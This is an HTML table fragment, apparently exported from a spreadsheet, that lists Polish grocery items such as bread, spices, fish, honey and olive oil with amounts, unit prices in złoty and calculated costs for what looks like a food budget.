<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Pomarańcza "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Pomarańcza </td><td data-sheets-value="{"1":3,"3":380}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">380</td><td data-sheets-value="{"1":2,"2":"2,75 zł za kg"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">2,75 zł za kg</td><td data-sheets-value="{"1":3,"3":1.04}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1,04</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Pieczywo "}" style="background-color: yellow; border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Pieczywo </td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Chleb Graham "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Chleb Graham </td><td data-sheets-value="{"1":3,"3":850}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">850</td><td data-sheets-value="{"1":2,"2":"3,29 zł za 330 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">3,29 zł za 330 g</td><td data-sheets-value="{"1":3,"3":8.47}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">8,47</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Przetwory "}" style="background-color: yellow; border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Przetwory </td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Chrzan "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Chrzan </td><td data-sheets-value="{"1":3,"3":42}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">42</td><td data-sheets-value="{"1":2,"2":"1,49 za 160 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1,49 za 160 g</td><td data-sheets-value="{"1":3,"3":0.39}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">0,39</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Kukurydza konserowowa "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Kukurydza konserowowa </td><td data-sheets-value="{"1":3,"3":190}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">190</td><td data-sheets-value="{"1":2,"2":"7,54 zł za kg"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">7,54 zł za kg</td><td data-sheets-value="{"1":3,"3":1.43}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1,43</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Masło Orzechowe "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Masło Orzechowe </td><td data-sheets-value="{"1":3,"3":30}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">30</td><td data-sheets-value="{"1":2,"2":"1,47 za 100 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1,47 za 100 g</td><td data-sheets-value="{"1":3,"3":0.44}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">0,44</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Musztarda "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Musztarda </td><td data-sheets-value="{"1":3,"3":5}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">5</td><td data-sheets-value="{"1":2,"2":"210 g za 0,99 zł"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">210 g za 0,99 zł</td><td data-sheets-value="{"1":3,"3":0.02}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">0,02</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Ogórek Kiszony "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Ogórek Kiszony </td><td data-sheets-value="{"1":3,"3":320}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">320</td><td data-sheets-value="{"1":2,"2":"2,99 zł za 400 "}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">2,99 zł za 400 </td><td data-sheets-value="{"1":3,"3":2.39}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">2,39</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Pomidory suszone "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Pomidory suszone </td><td data-sheets-value="{"1":3,"3":250}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">250</td><td data-sheets-value="{"1":2,"2":" 39,93 zł za kg"}" style="background-color: white; border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); color: #333333; font-family: Arial; overflow: hidden; padding: 0px 3px; vertical-align: bottom;">39,93 zł za kg</td><td data-sheets-value="{"1":3,"3":9.98}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">9,98</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Przecier pomidorowy"}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Przecier pomidorowy</td><td data-sheets-value="{"1":3,"3":320}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">320</td><td data-sheets-value="{"1":2,"2":"2,19 za 500 g "}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">2,19 za 500 g </td><td data-sheets-value="{"1":3,"3":1.4}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1,4</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Żurawina suszona "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Żurawina suszona </td><td data-sheets-value="{"1":3,"3":81}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">81</td><td data-sheets-value="{"1":2,"2":"2,99 za 100 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">2,99 za 100 g</td><td data-sheets-value="{"1":3,"3":2.42}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">2,42</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Groszek "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Groszek </td><td data-sheets-value="{"1":3,"3":260}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">260</td><td data-sheets-value="{"1":2,"2":"1,49 za 400 "}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1,49 za 400 </td><td data-sheets-value="{"1":3,"3":0.96}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">0,96</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Czerwona fasola "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Czerwona fasola </td><td data-sheets-value="{"1":3,"3":40}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">40</td><td data-sheets-value="{"1":2,"2":"0,83 za 100 g "}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">0,83 za 100 g </td><td data-sheets-value="{"1":3,"3":0.33}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">0,33</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Przyprawy "}" style="background-color: yellow; border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Przyprawy </td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Bazylia "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Bazylia </td><td data-sheets-value="{"1":3,"3":116}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">116</td><td data-sheets-value="{"1":2,"2":"1,25 za 15 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1,25 za 15 g</td><td data-sheets-value="{"1":3,"3":9.66}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">9,66</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Chili "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Chili </td><td data-sheets-value="{"1":3,"3":2}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">2</td><td data-sheets-value="{"1":2,"2":"1,25 za 15 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1,25 za 15 g</td><td data-sheets-value="{"1":3,"3":0.16}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">0,16</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Curry "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Curry </td><td data-sheets-value="{"1":3,"3":10}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">10</td><td data-sheets-value="{"1":2,"2":"1,25 za 15 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1,25 za 15 g</td><td data-sheets-value="{"1":3,"3":0.83}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">0,83</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Cynamon "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Cynamon </td><td data-sheets-value="{"1":3,"3":6}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">6</td><td data-sheets-value="{"1":2,"2":"1,25 za 15 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1,25 za 15 g</td><td data-sheets-value="{"1":3,"3":0.49}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">0,49</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Koper Ogrodowy "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Koper Ogrodowy </td><td data-sheets-value="{"1":3,"3":32}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">32</td><td data-sheets-value="{"1":2,"2":"1,25 za 15 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1,25 za 15 g</td><td data-sheets-value="{"1":3,"3":2.66}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">2,66</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Zioła Prowansalskie "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Zioła Prowansalskie </td><td data-sheets-value="{"1":3,"3":21}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">21</td><td data-sheets-value="{"1":2,"2":"1,25 za 15 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1,25 za 15 g</td><td data-sheets-value="{"1":3,"3":1.74}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1,74</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Ryby "}" style="background-color: yellow; border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Ryby </td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Łosoś "}" style="background-color: white; border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Łosoś </td><td data-sheets-value="{"1":3,"3":120}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">120</td><td data-sheets-value="{"1":2,"2":"5,99 za 100"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">5,99 za 100</td><td data-sheets-value="{"1":3,"3":7.18}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">7,18</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Dorsz "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Dorsz </td><td data-sheets-value="{"1":3,"3":210}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">210</td><td data-sheets-value="{"1":2,"2":"14,99 za 500"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">14,99 za 500</td><td data-sheets-value="{"1":3,"3":6.29}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">6,29</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Makrela Wędzona "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Makrela Wędzona </td><td data-sheets-value="{"1":3,"3":120}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">120</td><td data-sheets-value="{"1":2,"2":"1,29 za 100 g "}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1,29 za 100 g </td><td data-sheets-value="{"1":3,"3":1.54}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1,54</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Słodycze "}" style="background-color: yellow; border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Słodycze </td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Kako 16%"}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Kako 16%</td><td data-sheets-value="{"1":3,"3":42}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">42</td><td data-sheets-value="{"1":2,"2":"2,38 za 100 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">2,38 za 100 g</td><td data-sheets-value="{"1":3,"3":0.99}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">0,99</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Miód "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Miód </td><td data-sheets-value="{"1":3,"3":46}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">46</td><td data-sheets-value="{"1":2,"2":"37,90 za kg"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">37,90 za kg</td><td data-sheets-value="{"1":3,"3":1.74}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1,74</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Tłuszcz"}" style="background-color: yellow; border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Tłuszcz</td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Oliwa z oliwek "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Oliwa z oliwek </td><td data-sheets-value="{"1":3,"3":396}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">396</td><td data-sheets-value="{"1":2,"2":"13,99 za 500 ml "}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">13,99 za 500 ml </td><td data-sheets-value="{"1":3,"3":11.08}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">11,08</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Avocado"}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Avocado</td><td data-sheets-value="{"1":3,"3":12}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">12</td><td data-sheets-value="{"1":2,"2":"1,49 za 100 g "}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1,49 za 100 g </td><td data-sheets-value="{"1":3,"3":0.17}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">0,17</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Masło"}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Masło</td><td data-sheets-value="{"1":3,"3":210}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">210</td><td data-sheets-value="{"1":2,"2":"2,20 za 100 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">2,20 za 100 g</td><td data-sheets-value="{"1":3,"3":4.62}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">4,62</td></tr>
